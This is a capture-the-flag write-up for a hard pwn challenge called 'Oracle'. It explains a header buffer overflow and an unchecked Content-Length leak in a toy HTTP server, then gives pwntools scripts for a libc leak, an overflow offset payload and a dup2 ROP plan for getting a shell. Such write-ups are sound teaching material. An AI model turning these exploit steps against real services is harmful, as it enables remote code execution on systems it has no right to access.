Oracle

31st Jan 2023 / Document No. D24.102.192

Prepared By: `w3th4nds`

Challenge Author: `ir0nstone`

Difficulty: Hard

Classification: Official

Synopsis

- Oracle is a Hard pwn challenge that involves abusing user-trusted input to gain a libc leak and then utilising ROP to duplicate file descriptors to the connecting socket and gain a shell.

Description

- Traversing through the desert, you come across an Oracle. One of five in the entire arena, an oracle gives you the power to watch over the other competitors and send infinitely customizable plagues upon them. Deeming their powers to be too strong, the sadistic overlords that run the contest decided long ago that every oracle can backfire - and, if it does, you will wish a thousand times over that you had never been born. Willing to do whatever it takes, you break it open, risking eternal damnation for a chance to turn the tides in your favour.

Skills Required

- Basic ROP
- An understanding of file descriptors
- A basic understanding of heap metadata

Skills Learned

- Using `dup2` to redirect file descriptors

Enumeration

We are given the `oracle` binary, as well as the source in `oracle.c`. `oracle` is linked to the provided libc and ld. Along with this, we also get the Docker setup, with files `Dockerfile`, `build_docker.sh` and `run.sh`. If we check out the source, it appears to be similar to a HTTP server. We find multiple bugs within.

Firstly, in `parse_headers()`, there is an infinite buffer overflow:

```
while (1) {
    recv(client_socket, &byteRead, sizeof(byteRead), 0);

    // clean up the headers by removing extraneous newlines
    if (!(byteRead == '\n' && header_buffer[i-1] != '\r'))
        header_buffer[i] = byteRead;

    if (!strncmp(&header_buffer[i-3], "\r\n\r\n", 4)) {
        header_buffer[i-4] == '\0';
        break;
    }

    i++;
}
```

This function will keep reading until it encounters a `\r\n\r\n`, which could be never if we chose! Another small bug here is the "feature" that a newline `\n` is not written unless preceded by a carriage return `\r` (`\r\n` is how headers are usually separated in HTTP, for example). This is meant to "clean up" the headers, but unfortunately the developer missed the fact that `i` is still incremented. This means we can pad our exploit without overwriting other local variables that could complicate it.

However, we need some form of leak for this. Luckily for us, that occurs in `handle_plague()`:

```
void handle_plague() {
    if(!get_header("Content-Length")) {
        write(client_socket, CONTENT_LENGTH_NEEDED, strlen(CONTENT_LENGTH_NEEDED));
        return;
    }

    // take in the data
    char *plague_content = (char *)malloc(MAX_PLAGUE_CONTENT_SIZE);
    char *plague_target = (char *)0x0;

    if (get_header("Plague-Target")) {
        plague_target = (char *)malloc(0x40);
```

```
        strncpy(plague_target, get_header("Plague-Target"), 0x1f);
    } else {
        write(client_socket, RANDOMISING_TARGET, strlen(RANDOMISING_TARGET));
    }

    long len = strtoul(get_header("Content-Length"), NULL, 10);

    if (len >= MAX_PLAGUE_CONTENT_SIZE) {
        len = MAX_PLAGUE_CONTENT_SIZE-1;
    }

    recv(client_socket, plague_content, len, 0);

    if(!strcmp(target_competitor, "me")) {
        write(client_socket, PLAGUING_YOURSELF, strlen(PLAGUING_YOURSELF));
    } else if (!is_competitor(target_competitor)) {
        write(client_socket, PLAGUING_OVERLORD, strlen(PLAGUING_OVERLORD));
    } else {
        dprintf(client_socket, NO_COMPETITOR, target_competitor);

        if (len) {
            write(client_socket, plague_content, len);
            write(client_socket, "\n", 1);
        }
    }

    free(plague_content);

    if (plague_target) {
        free(plague_target);
    }
}
```

Note that the `plague_content` is printed back out to us, with `len` as the number of bytes. `len` is defined by the `Content-Length` field, which is required. There is no check to ensure that `Content-Length` is in fact legitimate, so we can fake it! That would allow us to leak a lot of the heap, if we wished. We could also let it be freed and then send another request; as the chunk is a smallbin chunk, two pointers to libc would be placed in the chunk when freed, and we could leak those with a second connection. The only problem here is that once the chunk is freed is would be consolidated into the top chunk and this data would be lost. Our saving grace here is that setting the `Plague-Target` allocates another chunk of size `0x40`, which is a tcache chunk, and we can use this chunk as a buffer between the smallbin chunk and the top chunk to prevent consolidation and keep those useful pointers around.

Solution

Connecting GDB

Now we have an idea for the exploit path, let's hook up GDB. We'll do it from within the Docker, to keep it as close to remote as possible (you can take the `libc` and `ld` out of the image and patch `oracle` to run under them, if you prefer).

First we want to install gdbserver in Docker. We'll add this line into `Dockerfile`, just above the `RUN addgroup` (putting it here means it doesn't have to rerun every time you build it):

```
RUN apk update && apk install -y gdb
```

We also add the following flags in `build-docker.sh` to allow the gdbserver to connect out to our GDB:

```
-p 9090:9090 --cap-add=SYS_PTRACE
```

Now once we run `./build-docker.sh`, we have to get a shell in the image and connect the gdbserver up to it:

```
$ docker exec -it oracle /bin/bash
ctf@c05c86d3e00d:~$ gdbserver :9090 --attach $(pidof oracle)
Attached; pid = 7
Listening on port 9090
```

Then we can just connect from another terminal:

```
$ gdb oracle
pwndbg> target remote :9090
```

And we are debugging the remote instance.

Libc Leak

As we said before, sending a `PLAGUE` request with the `Content-Length` as a large value and the `Plague-Target` set will create a smallbin chunk that, once freed, is not consolidated into the top chunk as there is a tcache chunk acting as a buffer. This means that a second such request will reuse the first chunk, and if we send minimal data part of the leak back will be pointers into libc.

```
from pwn import *

IP = '127.0.0.1'
PORT = 9001

context.binary = './challenge/oracle'

# create chunks, including buffer chunk
p = remote(IP, PORT)
p.send(b'PLAGUE /huh HTTP/1.1\r\nContent-Length: 200\r\nPlague-Target: test\r\n\r\nf')
p.close()

# libc leak
p = remote(IP, PORT)
p.send(b'PLAGUE /huh HTTP/1.1\r\nContent-Length: 200\r\nPlague-Target: test\r\n\r\nf')
```

```
p.recvuntil(b'plague: ')
p.recv(8)       # may as well ignore corrupted pointer and take the second
leak = u64(p.recv(8))
log.success(f'Leak: 0x{leak:x}')
p.close()
```

We successfully get a leak:

```
$ python3 exploit.py
[+] Opening connection to 127.0.0.1 on port 9001: Done
[*] Closed connection to 127.0.0.1 port 9001
[+] Opening connection to 127.0.0.1 on port 9001: Done
[+] Leak: 0x7f60ce5b9cc0
[*] Closed connection to 127.0.0.1 port 9001
```

The leak is constant, so that's good news. We can use the GDB to find the actual offset from libc base:

```
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
             Start                End Perm     Size Offset File
[...]
    0x7f60ce3e7000     0x7f60ce409000 r--p    22000      0 glibc/libc.so.6
    0x7f60ce409000     0x7f60ce581000 r-xp   178000  22000 glibc/libc.so.6
    0x7f60ce581000     0x7f60ce5cf000 r--p    4e000 19a000 glibc/libc.so.6
    0x7f60ce5cf000     0x7f60ce5d3000 r--p     4000 1e7000 glibc/libc.so.6
    0x7f60ce5d3000     0x7f60ce5d5000 rw-p     2000 1eb000 glibc/libc.so.6
[...]
```

The offset is `0x1d2cc0`. We'll load libc the typical way:

```
libc = ELF('glibc/libc.so.6')
[...]
libc.address = leak - 0x1d2cc0
log.success(f'Libc base: 0x{libc.address:x}')
```

ROP to Shell

The final stage is to just use the buffer overflow to gain a shell. First we have to work out the offset, and we'll do that by creating a pattern that we feed in. We'll then pass it through via the headers section in our script, making sure we still place a `\r\n\r\n` sequence at the end. Remember that we can use `\n` as a padding byte to avoid overwriting the other local variables on our way to the saved return pointer.

Firstly, though, we'll set a breakpoint at the `ret` of `parse_headers`.

```
pwndbg> disassemble parse_headers
Dump of assembler code for function parse_headers:
[...]
   0x000055e2b0ccf919 <+367>: nop
   0x000055e2b0ccf91a <+368>: leave
   0x000055e2b0ccf91b <+369>: ret
pwndbg> b *0x000055e2b0ccf91b
Breakpoint 1 at 0x000055e2b0ccf91b
pwndbg> c
```

We'll try it remote like this:

```
p = remote(IP, PORT)

payload = b'PLAGUE /huh HTTP/1.1\r\n'
payload = payload.ljust(1024, b'A')
payload += b'\n' * 0x58
payload += b'B' * 8
payload += b'\r\n\r\nf\r\n'

p.send(payload)
p.close()
```

The `1024` padding is with the character `A` so we can detect more easily where it starts. This won't have an issue as it actually has `1024` byte assigned to the buffer, so that's not a problem. The breakpoint is hit:

```
pwndbg> x/20gx $rsp
0x7ffe12ee7258: 0x000055e2b0ccf478  0x42424242424276b0
0x7ffe12ee7268: 0x0a000a0d0a0d4242  0x2f20455547414c50
0x7ffe12ee7278: 0x5054544820687568  0x0000000d312e312f
```

So have to adjust the offset slightly to be `10` less, and that gives a perfect offset.

Now we have the offset, we simply need to create a ropchain. We must call `dup2` to duplicate file descriptors `0` and `1` to our connection file descriptor, and then call system. Initially this fails, so we also have to throw in an extra `ret` to account for [stack alignment].

We also have to brute force the file descriptor of our connection for the duplication. It's `3` for the listening port, `4` and `5` for the libc connections, so finally `6` for the final exploit. We luckily did not need to mess with any bad characters, which `\n` and `:` would be due to the way they are treated in the code.